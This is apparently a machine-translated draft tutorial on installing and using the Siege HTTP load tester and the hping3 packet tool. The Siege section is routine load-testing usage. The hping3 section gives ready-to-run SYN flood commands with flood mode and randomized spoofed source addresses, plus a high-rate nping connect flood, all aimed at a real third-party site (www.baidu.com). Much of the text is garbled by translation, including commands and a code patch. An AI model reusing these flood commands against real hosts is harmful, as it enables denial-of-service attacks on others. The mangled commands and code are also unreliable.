Sige stress testing and hping3 delivery tools (first draft)
Siege:
[root@localhost siege-4.0.2] # tar xf siege-latest.tar.gz
[root@localhost siege-4.0.2] # / configure & & make & & make install
After installation, the configuration file is under / root/.siege/
Common parameters of Siege command
-R specifies a specific configuration file to run
The-l run saves the results in the log file, which is located at / var/log/siege.log by default
-c 200 specify concurrency 200
-r 5 specify the number of tests 5
-f urls.txt 's document for developing url
-I internet system, sending url at random
-b request does not need to wait for delay=0
-t 5 continuous testing for 5 minutes
-u specify a URL for *
#-r and-t are generally not used at the same time
# 200concurrent requests to http://www.google.com 100 times
Siege-c 200-r 100 www.google
# list all URLs in urls.txt
Siege-c 200-r 100-f urls.txt
# randomly select all URLs listed in urls.txt
Siege-c 200-r 100-f urls.txt-I
# delay=0, more accurate stress testing than functional testing
Siege-c 200-r 100-f urls.txt-I-b
# specify http request header document type
Siege-H "Content-Yype:application/json"-c 200-r 100-f urls.txt-I-b
Siege output result description
Transactions: total number of tests
Availability: percentage of success
Elapsed time: how many seconds did it take?
Data transferred: total data transfer
Response time: wait until the response takes time
Transaction rate: average number of requests processed per second
Throughput: throughput
Concurrency: maximum concurrency
Successful transactions: number of successful requests
Failed transactions: number of failed requests
Some summaries of Siege usage
1. When sending a post request, the url format is: http://www.xxxx.com/ POST p1=v1&p2=v2
2. If the url contains spaces and Chinese characters, it is necessary to encode url first, otherwise the request sent by siege is inaccurate url
Add
Siege-C can view the relevant configuration parameters and modify them on its own, such as whether to display log and timeout.
Hping3:
[root@localhost ~] # tar xf hping3-20051105.tar.gz
[root@localhost] # cd hping3-20051105
[root@localhost] # cd hping3-20051105
[root@localhost hping3-20051105] #. / configure
Creating Makefile...
Creating dependences...
In file included from ars.h:20
From apd.c:19:
Bytesex.h:22:3: error: # error can not find the byte order for this architecture, fix bytesex.h
In file included from apd.c:19:
Ars.h:190:2: error: # error "Please, edit Makefile and add-DBYTE_ORDER_ (BIG | LITTLE) _ ENDIAN"
Ars.h:254:2: error: # error "Please, edit Makefile and add-DBYTE_ORDER_ (BIG | LITTLE) _ ENDIAN"
Ars.h:323:2: error: # error "Please, edit Makefile and add-DBYTE_ORDER_ (BIG | LITTLE) _ ENDIAN"
In file included from ars.h:20
From ars.c:24:
This error occurred.
[root@localhost hping3-20051105] # vi bytesex.h / / add a sentence
# if defined (_ _ i386 _)\
| defined (_ _ x86 / 64 / 4)\ |
| | defined (_ _ alpha__)\ |
| (defined (_ _ mips__) & & (defined (MIPSEL) | | defined (_ _ MIPSEL__) |
[root@localhost hping3-20051105] # make
Gcc-c-O2-Wall-g main.c
Main.c:29:18: error: pcap.h: No such file or directory
Main.c:169: error: expected'=',';', 'asm' or' _ _ attribute__' before'* 'token
Main.c:170: error: 'PCAP_ERRBUF_SIZE' undeclared here (not in a function)
Make: * * [main.o] Error 1
[root@bogon hping3-20051105] # yum-y install libpcap
[root@bogon hping3-20051105] # yum-y install libpcap-devel
[root@bogon hping3-20051105] # ln-s / usr/include/pcap-bpf.h / usr/include/net/bpf.h
[root@bogon hping3-20051105] # yum-y install tcl-devel
[root@bogon hping3-20051105] # make
[root@bogon hping3-20051105] # make strip
[root@bogon hping3-20051105] # make install
Cp-f hping3 / usr/sbin/
Chmod 755 / usr/sbin/hping3
Ln-s / usr/sbin/hping3 / usr/sbin/hping
Ln-s / usr/sbin/hping3 / usr/sbin/hping2
@ WARNING @
Can't install the man page: / usr/local/man/man8 does not exist
[root@bogon hping3-20051105] # hping
Hping hping2 hping3
SYN flood * *:
Hping3-c 10000-d 120-S-w 64-p 21-flood-- rand-source www.baidu.com-I U1000
-c number of packets sent
-d each packet size sent to the target machine
-S sends only SYN packets
-w tcp window size
-p destination port
-- flood flood mode, regardless of displaying inbound reply
-- rand-source uses random source IP address-an or-spoof to hide the hostname
Www.baidu.com destination IP or URL
-I time interval per packet, u1000 is 1000 microseconds
Simple SYN flood *:
Hping3-S-P-U-- flood-V-rand-source www.baidu.com
-2-- udp UDP mode. By default, HPING sends UDP messages to port 0 of the host. You can specify its mode with the-- baseport-- destport-- keep option.
-a 1.1.1.1-- spoof doo-an is hidden IP,--spoof is hidden hostname
Nping-- tcp-connect-rate=90000-c 900000-Q www.baidu.com